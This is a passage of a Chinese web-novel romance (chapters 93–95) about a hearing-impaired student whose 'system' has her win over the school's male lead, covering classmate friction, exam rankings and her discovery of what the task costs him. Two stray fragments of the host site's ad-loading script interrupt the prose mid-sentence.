齐老师的洁癖和龟毛比李闻蝉还要过分,能让他侧目的外卖,从外观就和别家有显著差异:精致美观,最重要的是很干净,统一使用环保材质的白色包装盒,连勺子都是铁的。 池映雪的身边突然坐下一个人。 她记得这位叫刘凝的新同学,娃娃脸,印象里总挂着热情的笑。 刘凝:“小雪——可以这么叫你吗?你好可爱啊。” “齐老师点的是这家私房菜馆的AB套餐,我们正好拿了两套不一样的,要不要共享?” 池映雪不太习惯和别人交换食物,但见刘凝这么友好,只是笑了笑。 她没把食盒推过去,刘凝大致懂了,耸耸肩:“好吧。我只是觉得你应该没有吃过这种私房菜馆,你不愿意我也不勉强啦。” “这家是这片区域很有名的私家餐厅,和你以前那种小吃店不一样,在X团X众上都找不到呢。齐老师应该是VIP客户,才能订餐。” 刘凝的表情和语气都很轻快,池映雪却觉得这话听起来怪怪的。 说话时的眼神也让池映雪感到不大舒服。只是来一班后,除了之前就熟悉的穆雨阳和孟心词,很少有人主动靠近她。 池映雪抿着嘴嗯了一声,又把饭盒朝靠自己这一侧挪了挪。 放学去看李闻蝉的时候,池映雪在病床前发呆。 李闻蝉翻着她借给他的笔记,时不时偷瞄一眼。再一眼。 终于忍不住把活页本一合,往呆愣愣的小发旋上轻敲去:“想什么呢?” “不如实招来,就当你被闻蝉哥哥帅呆了。” 池映雪:“…………” 并没什么。池映雪鼓着嘴摇摇头,变换了人物时间地点把中午的事情讲了一遍:「我觉得我太敏感了。」 李闻蝉一条一条读完消息,盖棺定论:“有没有可能,不是你敏感?” “你是我见过最能忍的人。” 池映雪对这个评价很惊讶,李闻蝉有条有理:“第一,你在池润他们家都能忍着生活那么久才想着搬出来,更别说以前的应家;第二,池鲤鲤和邢芷欺负你,但你即使报复,也会等到时机合适,旁观她们作茧自缚;第三,我以前虽然知道你学习刻苦,但没充分理解学习这玩意儿有多苦。” 李闻蝉拍拍活页本,叹了口气,“现在自己好好学习才明白,题还真不是刷着刷着就能开窍。学习的苦你都忍得了,从来没抱怨过,难怪他们叫你雪神。” 怪不好意思的。 池映雪用指关节在鼻尖来回蹭,挡住下面扬起的唇角。 “唯一忍不了的嘛……” 李闻蝉:“大概就是有时候,稍微有点儿爱哭鼻子。” 说话的时候,下巴抬起来,神情里还带点小得意。 池映雪:哼。 池映雪自己都没发现,她和李闻蝉相处时小表情特别多,就好比现在。 有点儿生气但不多,嘴巴微微地噘起来。鼻子轻耸哼气,像小猫。小兔子。小老虎。 李闻蝉有点受不了了,转了头背对她笑一会,然后旋回来,撑着脑袋探向前,帮她整理刘海:“我明天出院,下午回学校。” 手上的动作变缓。 李闻蝉认真道:“我和徐老师说,这次回去后我的座位就调到讲桌旁。” 讲桌旁哪里有座位?李闻蝉解释,是把桌子挪到原先讲桌两边的空地,直面老师和黑板。 “毕竟我说要当个好学生,进一班,可不是放空话。” 池映雪定定地瞧着李闻蝉,忘记两个人的距离有多么近。 李闻蝉的手指在刘海的一侧停下:“这是……” 发际线的位置有一小点不太自然的连接。 池映雪如梦初醒,连忙捂住额角,整个人都从椅子上弹起。 被他看见了! 池映雪退后一步,贴上墙面,睫毛垂下去。 这道浅浅的凹陷,她已经试过各种办法补救,光是药膏就买了好几种,大伯母还专门带去医院看过。 成效很好,预计几个月后就完全看不出存在过的痕迹。但偏偏这时就被发现了。 系统:[宿主,这其实也就是很小一块不平整而已,都没你小拇指甲三分之一大,还有刘海挡着,不要这么介意了嘛。] 话是这么说。 池映雪瘪嘴。 怎么可能不介意…… “池映雪。” 李闻蝉突然叫她。 池映雪间隔了半分钟才抬起眼皮,却对上一张笑吟吟的脸。 李闻蝉经常扯着一边嘴角笑。池映雪也是不久前才发现这回事——只要他能控制住,都会歪向没有梨涡的右侧。 但此刻,他的梨涡异常明显,甚至可以说被挤出来,深深陷进去。 “巧不巧?”李闻蝉挑起眉,“我也有一个陷进去的涡。我的还比你的大。” 贴在墙壁的背逐渐放松。 旁边就是病房的窗户。开着一树早春白花,每次来这里都忘记观察具体是什么。 窗外浸入隐隐约约的深蓝,纱窗透风,吹进来一点清爽。 池映雪跟着他笑起来,声音很低。 “……幼稚鬼。” 隔天,池映雪还是和刘凝她们一起去办公室帮忙。 秋冬季室外活动多,春夏学期则偏人文理科、书面项目。据说这些资料忙完,还有手抄报和黑板报的活动,以班为单位评奖评优。 从办公室出来,刘凝拉池映雪一起去卫生间。池映雪在外面等了好久,刘凝终于出来,朝她随意点点头就去洗手。 盥洗池旁边有学校免费提供的成套洗护用品,刘凝挤压着护手霜:“小雪你要试试这个吗?” 她热情地帮池映雪抹上,抽回手闻了闻:“诶,后勤部怎么换味道了?这个没之前那个高级。” 池映雪抬起手背嗅了嗅,没什么感觉。 之前的听瑶瑶说是雪松香,这个应该是香草。都不是她偏好的味道。 李闻蝉倒是应该蛮喜欢这种甜味的。 她想什么呢。 池映雪连忙放下手,胡乱地揉搓擦拭。刘凝上下打量她手忙脚乱的动作,笑了一下。 “你之前没用过这种护手霜吧?难道你觉得这个很好闻吗?” 刘凝扬眉道,“一股廉价车载清新剂的味道。小雪,你已经回归豪门了,吃点好的吧。” “这样,我以后多带着你玩。” 说话声被池映雪淡淡的一眼打断。 池映雪歪着脑袋盯了刘凝片刻,慢吞吞取出手机:「刘凝同学,你这样讲话,我不太舒服。」 「我觉得你并不尊重我。」 而且除了身边人,很少有人知道池映雪以前在应家的具体事宜,刘凝就能精准地说出“小吃店”,可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 见已经打探过一番。 刘凝从没想过会被池映雪这样点破。 这人不是传言中一直被池鲤鲤欺负的小可怜吗?没道理会这么硬气啊。 在刘凝的认知里,但凡给点善意,这种人就会巴巴地讨好上来,一个“不”都不敢说。 刘凝咬了咬唇:“你也太敏感了!况且我不也说了是‘你以前’吗?你以前确实不可能接触到这个层面的东西啊,所以才需要我……” 池映雪:「我也并不需要被谁带着才能“玩”。」 她勾起唇,有点得意地打字:「我不缺少朋友。」 刘凝像被无声打了一巴掌,飞速眨了几下眼便走开。 其实刘凝的猜测也没太大失误,只不过那都是以前的事了。 池映雪第一次当面说出对方让自己不舒服的点,还有些轻飘飘的不真实,悠悠地将护手霜抹匀了才推门出去。 一眼便看见左斜方、男卫对面靠墙而立的李闻蝉。 李闻蝉应该猜到了事情经过,冲池映雪眨了眨眼,吹了个口哨。 双手抱在胸前,里面夹着一个和她的大活页本。一只手举起,伸出来。 池映雪也握拳,在空中遥遥相击。 李闻蝉站直:“很酷。” “我不缺少朋友。”他夹着嗓子学,“可以嘛池映雪。” 池映雪走向他的脚步慢了半拍,眸光闪动。 李闻蝉毫无所觉。 池映雪沉吟一下,再次掏出手机补充:「我不缺朋友。但是,不代表可以缺少任何一个朋友。」 所以,你们谁都不能离开。 会很难过的。很难过很难过。 李闻蝉把活页本水平地架到她的小脑袋瓜上。 “那是当然。” “你就是想赶我走,我都不走。我是这个。” 说着就不知道从哪里变出来一根棒棒糖,塞到池映雪嘴里。 虎牙下意识咬下去。酸酸甜甜。 软的。黏黏糊糊。像极了某个家伙最近的模样。 原来是橡皮糖。 池映雪瞪了李闻蝉一眼。 她怎么会赶他走? 李闻蝉是来问题的。 他说要好好学习,一点不含糊。池映雪在活页本里看见满当当的笔记和技巧总结,各科都有。 午休时间,穆雨阳在寝室午睡,李闻蝉正好把他的椅子拉过来,坐在池映雪旁边。 池映雪在算题。李闻蝉盯着她看,被池映雪用笔抵开脸,乐呵呵地转到另一侧。 ……… 第二名的座位。 李闻蝉:不乐。呵呵。 李闻蝉决心回去就问徐静萌要齐幂的联系方式和邮箱,每天投稿建议禁止男女生左右排同桌。 李闻蝉心里算盘打得嘚啵儿响,面上不显露分毫,哼着歌检阅池映雪最近都在学什么资料看什么书。 他在笔筒里没看见自己送的那支钢笔,浓眉深深皱起来。 找了好久,还是没有。李闻蝉不高兴了,翘起二郎腿,斜着眼睛睨过去。 池映雪正在写第三问的步骤,显然他挑了道十分有难度的题,让她不自主地沉浸在推导中。 李闻蝉的视线从被刘海隐约挡住的弯弯眉,薄薄的染着粉的眼皮,聚精会神的透亮眼珠到小巧的鼻,到了粉唇处仓皇略过,再到垂至下颌的碎发、圆中有弧的小下巴……最后定格在她手里那支熟悉的钢笔。 左边的梨涡又陷进去。 池映雪本来还觉得李闻蝉的数学似乎有些退步——也不能说退步,只是进步的速度比之前慢了不少。 上学期他从五分、几十分一下子考到135,现在的水平却依然只有138-142。也可能是她多想,毕竟分越高越难提。 不过他今天找的这道题,标注出来的疑惑点十分清晰,原本的思路也不能算错。池映雪看出来解得有一定水平,所以推翻之前的疑虑。 写完两种思路,池映雪照例把本子和草稿纸一起递过去,顺手竖起活页本在桌面敲了两下。 一张便签纸就这么轻飘飘地飞出来。 李闻蝉还在那边看她的书立,没注意到。池映雪弯腰捡纸,原来是张传话的小纸条。 看字体,一个是他,另一个是章子健。 章子健:你就随便挑个错题问cyx啊,为什么要我帮你挑一道? 李闻蝉:不要。章老师,你帮我选道难一点的,但不能太难,最好思路要很灵活,只差一条辅助线就能解出来那种。 李闻蝉:简单的题没有格调。 池映雪:“…………” 池映雪将碎发别到耳后,指尖触到耳垂时,莫名感到两方的温度差。 纸条被她夹回本子里,就当不知道。一侧眼,李闻蝉也捻着她桌上的便签纸。 还正好是池映雪用小夹子夹起来那张。看上去,他还并没看见下面遮掩住的东西。 池映雪忙把本子推过去,打掉李闻蝉的手。 李闻蝉朝她看过来,神采飞扬的:“……原来雪神都是用便签纸记单词,我也学会了。” “flutter。”他念地很缓慢,发音还是那样好听,“好熟悉啊。” 池映雪转过身,右手拿笔撑住半张脸。 她当时随便写的,刚好就写了这个单词而已。 李闻蝉在耳边笑了两声,低头认真学习。 预备铃响,他把椅子轻轻放回后排,带着本子下楼。 池映雪的座位瞬间宽阔起来。 撑在脸上的手一点点降下去。池映雪回头,透过窗户看了一眼楼道,背影缩小逐渐消失。 钢笔在手心里晃了一圈,向书立的方向倾斜。 笔帽将便签纸拂开。 拍立得的空白区域,不知何时多了一个黑色水笔写上的签名。李闻蝉三个很扎眼的大字,一笔一划没有连笔,清晰、公整、漂亮。 94. 第 94 章 体育大课。 池映雪和万苏瑶一起回到五班。走教室前门进,一来就看见坐在讲台边的李闻蝉。 手边堆着一沓书,见了她才停笔。 李闻蝉把笔一扔,站起来,顺手拎起放在另一把椅子上的斜挎包,让池映雪坐。 那把椅子很干净,一看就有天天擦拭。椅子脚有一圈浅浅的刮痕。 是池映雪从前那把。 穆雨阳也抱着作业下楼,挤在斜后方胡挚的座位。万苏瑶有两天没见池映雪,叽叽喳喳说个不停,穆雨阳笑着叹了口气,收起笔,在论坛里翻看收藏的学习经验。 “蝉哥!” 穆雨阳举起手机,冲向李闻蝉,“快看这个!有人在论坛帮你说话哎,挨个澄清了你的那些谣言!!” 李闻蝉靠着椅背,面朝池映雪的方向坐。 池映雪正在和万苏瑶等人看杂志,没有看过来。李闻蝉收回眼,接过穆雨阳的手机。 还真有。 只见有关他的那些议论帖,不管有没有带大名,都因新的回帖被顶起。 其中有不少说法李闻蝉都是第一次听,也不知道这人上哪找到的。 穆雨阳:“太好了蝉哥,我就说还是有其他人明白你到底有多好的!” 李闻蝉咳了两声,手顺势撑着脸,按了按耳垂。 却沉着声道:“谁这么无聊,我都不稀罕管。” 手指迫不及待点进帖子,直接翻到最下面。 【258L】xx回复【1L】 根据国家相关法律规定,网络造谣被转发传播超过500次以上即可判刑;明知他人造谣依然提供帮助的,按共同犯罪处罚。虐猫事件我已经问警局拿到了复盘证明,贴在了澄清楼(附链接)里。楼主这条帖子的引导完全错误,评论341条,分享677条,如果你不在24小时内删帖并实名开楼道歉,我会考虑告你。 另一条。 是个见缝插针说李闻蝉是混球二世祖、到处欺负人的“昔日同学”。 【122L】xx回复【13L】 不觉得你这段话的逻辑有问题吗?据你所说与李闻蝉同学初中同班,可是因为畏惧他从未近距离接触过;却又大言不惭道出李闻蝉同学真实的为人有多么凶残,还揣测他三观不正,好像比他自己还要了解。 …… 还有不少。 李闻蝉一一看完,无一例外是“xx”的回复。 xx。 xx啊。 他怎么这么熟呢。 手撑在脸上,慢慢移动到嘴角,难以挡住飞扬的神色。 [叮!攻略对象好感+0.5。] [当前男主好感:98.5。] 李闻蝉把椅子拉近。 跟着女生们端详了一会时尚杂志,视线无聊转开,直到身前纤细的后颈。 喉结滚动。 他缓慢靠近:“小雪。” “雪雪。”李闻蝉贴着助听器,用仅有两人可听的声音轻语。 “谢谢。” 他的手凑近池映雪的手背,大拇指在上面点了两下。 肌肤,耳际,一阵酥麻。 池映雪耸起肩,不慌不忙地拉开距离。 不客气。 李闻蝉的嘴角疯狂上扬。 池映雪幽幽张口:雪雪无聊了。 李闻蝉:…… 要,要完。 开学考在第三周周内的晚自习进行。章子健带着新鲜出炉的排名过来的时候,池映雪他们正在小卖部旁边的就餐区分享零食。 万苏瑶:“谁和我赌成绩?” “我押小雪又是总排第一,赌十根玉米肠。” 胡挚闻言就笑骂了一句,翻白眼:“谁和你赌?自己玩去吧。” “要我来,就该赌蝉哥。”胡挚手拍桌面,“我蝉哥必进前30!” 李闻蝉把他的手从桌上撇开,轻笑了声没说话。 他倒是不在乎名次。 但他承诺过某人,要去找她。 也没人和胡挚赌。大家都知道,这并不是没有可能。李闻蝉上学期期中考了一百多名,期末考就进前五十了。 最近一起住在老宅,池映雪才知道他私下请有家教,寒假也一直在补习,住院都没放松过。 池映雪看他云淡风轻的样子,大概十拿九稳。 李闻蝉拿到纸质成绩表,表情不变。 但手和一直粘着似的,翻不到记录他成绩的第二页。 这是五班的表,学号排列按分班时的来。 上面并没有池映雪,她却也逐渐抿起唇,手心渐渐收紧。 “——我去,真的三十!!” 胡挚等不及了,率先揭开上面那页,刚看了个影就激动到破音。 “……三十一!” 这下看清了,胡挚喃喃,掰着指头数:“三十一名啊!!蝉哥,你太神了………” 明明也算是挺好的成绩。 李闻蝉扯了扯嘴角,眼中闪过一闪即逝的失望。 难得没在被起哄时立刻看向池映雪,而是转过脸和胡挚说笑。成绩表被轻飘飘地放在桌上。 等几人分开,池映雪折返回去,找到独自去复印的章子健。 她要来那张成绩表,翻到第二页仔细查看。 系统:[宿主是觉得男主大人的成绩有问题?] 池映雪点头:“不应该呀……” 系统探查一番,汇报:[虽然我也觉得以男主大人的天资,稍微动动脑筋考个年级第一……啊不,年级第二不是难事。] [但这个成绩还真没算错。]它挠挠脑袋,[而且宿主之前不也说过嘛,现实世界里随便学一学就考那么高是不可能的。] 没记错的话,之前看男主大人轻松135时委委屈屈的也是她吧。 池映雪的眉依旧蹙着。 “不对。” “不是一回事。”池映雪把成绩表双手还给章子健,睫毛垂下一片阴影,“他数学这次还是只有136,更离谱的是英语,只有144。” 平心而论,不低了,甚至可以排得上前列。 但池映雪最近的英语都是李闻蝉教的,他有和英语母语者交流相处的经验,发音正、语感强,她知道他连雅思托福都随便过。 这次英语又不难,池映雪都找不到李闻蝉的扣分点。 “你之前说过,李闻蝉可是男主,男主不应该得天独厚心想事成,干什么都气运在身吗?” 系统猝不及防地被她问住,眼神突然错开了一瞬间。 [宿主不会是在担心,男主大人考不到前30,进不了一班找你吧?] 系统承诺,[肯定没事哒。这个开学考也不决定分班,更何况男主大人确实……] 池映雪眯起眼睛。 她停下脚步,靠在身后的墙壁:“你还说过,你们的男主不会受伤吧。” 可李闻蝉那伤…… 池映雪都不愿意多想。 有次她正好撞见他换药,只瞥去一眼就眼眶发酸。 系统装傻:[有,有吗?] “你的原话是,‘我们的男主集世界气运于一体,百毒不侵、百战无碍、身体倍儿棒’。” 系统:…… 有时候真希望宿主的记忆力不要那么好。qnq。 池映雪冷笑:“解释解释?” 系统沉默了半天,企图以此来逃脱制裁。 池映雪比它更能等,就这么耗着,嘴角挂一抹若有似无的淡笑。 系统突然有种被血脉压制的感觉。 这就是豪门、池家、老爷子心目中接班人的分量吗?它一个初出茅庐的小系统,终于缴械投降:[我我我,我说。] [宿主,你知道男主大人是……无cp小说的主人公吧?] 池映雪皱眉,点了一下头。 那怎么了。 系统:[………无cp,顾名思义,主角是不可以有爱人的。] [如果设定无cp的男主想要爱人,那么除非……] 他不再是这个男主。 “……!” 池映雪眨了一下眼,豁然开朗。 她忽然想起前几天和孟心词聊天,对方调侃她和李闻蝉目前进展如何。 孟心词:“老齐可不允许早恋,抓得超级严,尤其对象还是李闻蝉那种他最讨厌的校霸男。” “你们要真在一起了,老齐盯他肯定和乖女儿的老爸防机车小子一样。”孟心词啧啧,“你别说,你还真别说。” “不过你也别多心,我真举双手双脚赞成你们。我发现我现在一点也不喜欢他了,以前是我不了解他这个人,只看外在,喜欢我心目中的那个加了无数层滤镜的大帅比。” “现在么……我觉得除开那些光环啊皮囊啊,也就是个正常的高中男生吧?” 还是会拂喜欢女生新扎的小辫子的那种。 仰慕者的喜欢。 强健的体魄。不会受伤的运气。 唾手可得的名利和成绩。高高在上、独一无二的“光环”。 池映雪直视系统:“你们的目的是什么?” “让我去攻略他,但任务成功的结果,是让男主彻底失去本该属于他的一切?” 检验?惩罚? 还是这群高高在上掌握他们命运的“天道”无聊的把戏? 无论哪种,池映雪都无法接受:“你告诉我接近气运之子可以拯救自己,可没说过他会因此失去光环。如果这样,我不做任务了。” 听不见就听不见。 她已经并非一无所有。大伯母更是给她办好了信托和保险,就算没有听力……比失去原则好。 甚至无关对方是不是李闻蝉。 系统忙劝住她:[当然不是,和宿主没关系!] 系统偷偷瞄了池映雪好几眼,破罐子破摔:[哎呀,我和宿主说了吧!其实这一切都是天道对男主大人的考验。说句不好听的,不是宿主也会有别人来充当攻略者的角色。 至于你获得能力和他失去气运是两个话题,如果他对你的好感是亲情或者友情,根本不会变成现在这样。] “是已经有别的攻略者了吧。”池映雪冷冷道。 系统被她的洞察吓了一跳。池映雪条理清晰:“刚见面那阵子你就说漏嘴过,‘其他人’如何;前段时间,你也说了孟心词、谢恩雅她们不行,那就是除此之外,选谁来都可以。” [……是。] 系统干脆和她说明白了,[宿主是第99个。] 饶池映雪心里有准备,还是被噎了一下:“多少?” [99。其余的都是其他平行世界,就和你知道的那个剧情世界差不多。]系统赶紧调出前辈们留下的数据库,[不过宿主放心,那些人全都失败了!好感度全是0,还有负数的!] [哦,唯一一个正数的记录是0.2,这个人是个有经验的穿越者,开局自带了个神医系统,帮老爷子治好了突然加剧的风湿病,相当于捡回半条命。] 池映雪的心微妙地定下来。 本来还有点不舒服,但是发现李闻蝉对别人比她还抠,突然烟消云散了。 恩人才0.2。 这么一看,她那0.5算不算很高了啊? 池映雪:“那之后呢?” [之后男主大人不知道怎么的,发现老爷子的风湿就是这人让系统加剧的,这样才能显得她无比重要,所以扣到负无穷,还把她举报到国家了。] 池映雪:“……” 她可能猜得出,他是怎么发现的。 系统瞅了一眼和上级联系的频道,估计那边也震惊于池映雪的敏锐,反应不过来呢。 系统:[一个世界就这么多气运,围着男主转,就相当于他得到了世界全部的偏爱。] 虽然不当男主并不会消亡或者潦倒,但剥开光环,就像孟同学说的——那不就从为所欲为的bking (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,变成一个正常的、只是有优秀长相和家世的普通男高中生了吗? 更何况,这只是一个年少时的“恋人”。 只有笨蛋才会选这个恋人。主角们都是一等一的聪明人,没人相信身为男主会为了爱情放弃光芒万丈。所以天道不信,系统也不大相信。 想到这里,系统突然有点开始心疼宿主。 池映雪依然只是笑了笑。 “你是对的。” 她慢慢地踱步上楼,“他很聪明。” “肯定会……做出正确的选择。” 隔天下午,池映雪被齐幂安排负责黑板报的工作。 一班有不少从小学习美术的同学,孟心词更是文艺部的成员,主动揽了过去。 孟心词对她使眼色:“趁着午休,你下楼玩玩呗~” “等这学期过半,你两边跑的时间估计就少咯。” 池映雪怔了怔神,轻轻嗯了一声。 她回到座位整理要带下楼的文具和教辅,手背拂过便签纸。 flutter。 掀开,下面的拍立得并排签着两个人的名字。 李闻蝉。池映雪。 都很工整。 池映雪定定看了一会才想起她要干什么,胡乱抽了一沓纸,夹在本子里下楼。 五班现在也在办黑板报,教室后面的黑板已经用彩色粉笔画好边框。 高高瘦瘦的男生踩在椅子上作画,右手的袖子挽起来,露出一截皓白色腕骨。 李闻蝉很少参加班上的活动。唯一能窥见身影的体育赛事,也是因为胡挚身为体委的缘故。 和池映雪以前那种小透明不同,他很引人注目,只是没人敢去拜托他屈尊参与,显得更独来独往。 池映雪还在五班班群里,昨晚水群时就见胡挚和章子健带头起哄李闻蝉负责画板报,其余人大概是看了论坛里的澄清,也纷纷@李闻蝉。 画画倒是一直很专注。她进来,他也没发现。 胡挚在下面帮忙护着椅子,见池映雪来,捂着肚子指指厕所的方向。池映雪忙走过去扶住椅背。 从这个角度能看见李闻蝉的漂亮的下巴微微仰起,明显的喉结和颈部线条。 池映雪走着神。 前阵子齐幂开班会,她旁听一二,其中有一点是建议家长与孩子商讨未来的规划和择业。 按理来说,李闻蝉以后会接手盛池,自己也有庞大的企业,在商战中游刃有余。但池映雪总觉得他每次接电话处理这些事、帮老爷子识人时都烦得很,眉毛能夹死只苍蝇。 反倒是画画,喂猫的时候,表情还舒展些。 李闻蝉:“虎子。” 他目不斜视,拍拍手上的粉尘,随意伸出手掌,“蓝色。” 池映雪四处看,果然在旁边的储物柜顶部看见几盒粉笔。 她踮脚去够。李闻蝉等半天手心空空,指尖动了动:“没了么——” 李闻蝉:! “你怎么……”李闻蝉差点要蹲下,池映雪及时找到蓝色粉笔旋身才作罢。 “你怎么来了?” 也不说一声。那粉笔盒那么高,他和胡挚倒不要紧,她碰到磕到怎么办。 胡挚神清气爽地从后门归来,恰好与他的蝉哥对视。 眼神不是很妙。 再一看,没接粉笔那只手背在身后,一个劲地打手势。 胡挚又看一眼池映雪。 胡挚:懂。 池映雪听见咳嗽声回头,只看见一面关紧的门。 一念之间,旁边的窗户也被关上。过几秒又拉开,从外伸进来一只手,把窗帘拉得严严实实。 池映雪:……? 李闻蝉:“…………咳。” 李闻蝉好容易才按捺住想拿粉笔丢胡挚的冲动,深呼吸几下,用蓝色粉笔心不在焉地画好天空。 最高的一层都被他画完。李闻蝉问池映雪:“要不要上来试试?” “我扶着你。”他笑道,“检验一下池小雪同学的美术学习成果。” 池映雪站上椅子,以为会恐惧,结果一点都没有。 她画了半天,没等到李闻蝉一句表扬。池映雪郁闷地用余光瞥去,只见这人换了个地方站,恰好挡到她后面。 还是双手扶椅,垂着脑袋,埋得好低好低。 黑发浓密,发旋居然有一点点可爱。 池映雪再一看自己的裙子,抿抿嘴巴。 指尖的粉笔灰被她小心擦掉,慢慢朝李闻蝉的头发探去。 万苏瑶啪的一声推开后门:“虎子说小雪你来啦——” 池映雪被她吓了一跳,猛地吞咽,双脚下意识想溜。 椅子摇摇晃晃。李闻蝉惊慌抬眸,赶紧伸出双手接住池映雪。 很轻的一声。 手臂与后背的相贴。抑或春日衣料轻盈的摩擦。 李闻蝉差点分不清是他紧紧抱着池映雪,还是池映雪紧紧抱着他。 连呼吸都不敢。 直到身后的起哄声快要退潮,李闻蝉如梦初醒,轻轻按了按怀里烧到粉红的后颈。 他用眼神示意那群家伙转回去,贴上池映雪小小的耳垂:“………那个。” “去,去外面?” 天。 他在说什么。 李闻蝉说完就后悔,但是没纠正。心脏像一个陀螺,要不是怀里还有个池映雪,现在应该已经带着他飞起来了。 怀里的小脑袋向左偏,又向右偏。 李闻蝉似乎听见吸鼻子的声音,但胸前没有湿意。 池映雪悄悄地关掉助听器,因为同学们刚被“威胁”过,一瞬间万籁俱寂。 下一瞬,心跳声震耳欲聋。 她贴着李闻蝉,所以说不清这心跳到底是谁的。一定两人都有。 怦。怦。 错乱,逐渐重合。 [叮!攻略对象好感+1。] [当前男主好感:99.5。] 95. 第 95 章 播报声突兀到来。 不同于前两次的0.5,这次直接快要加满。 池映雪睁大眼,红着脸推开李闻蝉落荒而逃。 起哄声又一次响起。 万苏瑶再迟钝也终于品味出一丝不对,五雷轰顶地瞪了一眼李闻蝉,捡起被池映雪忘在桌面的纸笔。 还是作文素材呢。多么热爱学习的乖宝宝。 李闻蝉还呆在原地,和个被火烧过的稻草人似的。万苏瑶于是又瞪一眼,小声念着纸上的字:“这什么马特梅格……” “‘一个金光灿灿的人’………” 夜晚,池映雪写完卷子,把喝完的牛奶杯端去水吧。 刚走回房门口,对面的房门像有感应般打开。 李闻蝉一身黑色睡衣,丝滑面料在走廊的暖灯光下流光润泽。 “好巧。” 李闻蝉摸摸鼻尖,扬了扬手里的咖啡,“我去加点奶。” 光泽点在额前的碎发上,笼罩一层柔和的光晕。 也许觉得刺眼,他的眼几乎很少抬起来过:“你作业写完了吗?没有的话,要不要一起?” 池映雪比了个手势。写完了。 李闻蝉:“那小题狂做……” 也写完了。 她要睡了。 李闻蝉哦了一声,正要挪动脚步,池映雪突然看向黑睡衣的某一颗纽扣。 李闻蝉向来是不好好扣衣服扣子的。校服衬衫是,睡衣也是。上面倒还好,下面只扣到挨着睡裤腰线那颗,再底下就敞开了。 池映雪在观察他的腰。 也不知道好了没有。 李闻蝉顺着她直勾勾的视线往下一滑,眸光渐深。 他上前一步,耳垂是红的,口吻却轻佻:“看哪呢?” “要不给你检查检查?” 灯光下女孩的脸实在太乖。 李闻蝉觉得别人评价她的话着实不错。初恋脸。 让人很难不起点坏心思。弯腰俯首,抵上门框。 “检查我的腰,到底好没好。” 池映雪认真地点了一下头。 “行了,不逗你……?!” 李闻蝉压根没想到她会是这个反应,自己先磕磕绊绊起来:“真、真看啊?” 当然要看。 池映雪满脸写着坚定,一丝旖旎也无。 李闻蝉直起身,咖啡差点洒出来。 嘴里不知道咕哝了什么,连池映雪都听不清,只知道他向两边空空的走廊扭头,又扭捏了一会,才慢吞吞地一点点揪开睡衣的边。 掀个衣服看一眼的事,搞得和新娘子掀红盖头一样。 “你这两天怎么……” 这么主动。 这个发现让李闻蝉的心脏像被握住一样。不知道好不好,只是很紧张。 腹部绷得同样紧,腰窝与腹肌更加明显。从中勒出一道深深的竖线,顶灯光影垂落,像能将人吸进去。 伤口确实快好了,但仍能看出存在过的痕迹。 医生说不会留疤影响美观,池映雪却在想,伤疤会好,可疼痛的确存在过。 她安静地凝望了一会,直到不知从哪里灌来一阵风。 春夜里不太冷,吹得睫毛颤抖。 池映雪含着鼻音低低道:“没什么。” “有也是好事。” 她先进了门。 “……晚安。” 池映雪很少很少对李闻蝉发出声音讲话。此刻却在门缝里,正对着他,咬字清楚地念出口型。 气流在舌尖萦绕,她说话慢吞吞的,不知为何有些粘连。 说的是晚安,又好像不是晚安。 “晚安。”李闻蝉补充,“明天见。” 门被关上了,也不知道听没听见。 不管听没听见,明天都会见。 李闻蝉挑起眉,悠然瞧了眼故意没加奶的咖啡,大摇大摆地阔步走远。 走到一半还哼起歌:“晒伤的脱皮意外的雪景……” “…然而此刻拥有你…………” 低吟打住。李闻蝉停下脚步,对池静俭嫌弃道:“你来干什么?走路也不知道小点声,打扰人家休息。” 池静俭:“小雪这么早就睡了?” “是啊。她以前十一点半睡,这两天都早半小时。” 李闻蝉皱眉,“估计是一班学习太累了,等周末我打算带她去春游,散散心。” 是给小雪散散心,还是满足某人的私心? 池静俭都懒得说他。 要不是小雪也不反感………池静俭早该在看出来那一天就向爷爷谏言,把这人焊死在他的小平层。 “正好我也有事找你。”池静俭眼不见为净,侧面对着李闻蝉,“我爸本来把HK那边的产业慢慢过渡到你手里,但现在你不去了,所以过阵子可能还得跑一趟选人打理。爷爷和我爸都觉得,让你去考察任命比较好。” “这个我知道。” 李闻蝉散漫地搅着咖啡。 没什么意思。他把那点苦咖啡液加点糖和奶一口闷掉,盯上池静俭端来的梨汤。 “我抽个假期去。话说回来,这周末带小雪去办个签注怎么样?” 池静俭眼看着李闻蝉自然而然地端走梨汤,原本没好气的话咽了回去。 3,2,1。 “咳咳!” 李闻蝉本来打算用梨汤压咖啡,不想面目更狰狞,“太涩了,你往这里面加了多少中药?!” “小雪就喜欢这样的,再说这都是安神养气血的药材。” 池静俭难得莞尔,“不是每个人都和蝉少一样,喝咖啡能加几包糖。” 李闻蝉:“哼。” “涩就涩。”李闻蝉捏着鼻子喝完一盅汤,“………甘之如饴。” 李闻蝉把座位换到讲台边后,胡挚也跟着坐到靠前的位置。 “蝉哥太强了。我这辈子唯独不会羡慕两个人的成绩,一个他,一个雪神。” 因为太困又不敢在徐静萌眼皮底下睡觉而站了一节课的胡挚如是感慨。 “雪神那种神就不用说了。蝉哥更牛,看个烂背诵册子和看篮球飞人一样津津有味。” 章子健拍拍他,随口道:“最近很少看见池映雪。” “对啊,好多天没来了。也正常,穆雨阳天天在群里抱怨齐幂有多没人性,下课不写作业的话,当晚肯定得熬夜。” 可穆雨阳隔一天还能见上一面呢。 章子健没说话,望了一眼李闻蝉。 应该是在做题,只是做两道就抬起头瞥一眼门外,又很快再次低头。 万苏瑶和秋怡抱着新学期的选修课表单进教室。这学期的选修改了制度,不再强制要求,全凭个人兴趣跟低年级一起上,因此报的人也寥寥。 章子健去领男生的份,听见万苏瑶和秋怡的聊天:“你们刚找池映雪回来?” “对呀。还有孟心词,我们几个去丢垃圾,顺便绕着花园散步。这两沓表还是她俩帮忙搬回来的呢。” 李闻蝉就在讲台边,余光分过来。 章子健:“那她俩怎么不一起进来?” “对哦……”万苏瑶和秋怡对视一眼,“午休还有半小时呢。” 秋怡:“小雪说过一班经常有小测,可能回去准备吧。” 李闻蝉握紧笔,撑着脑袋看题目。 花里胡哨的坐标系宛如一堆黑白浆糊,过了一遍眼,没进脑子。 李闻蝉最近没少见池映雪。只是自从那天晚上她看过他的腰后,他们的日常就变成了一起坐车上下学。 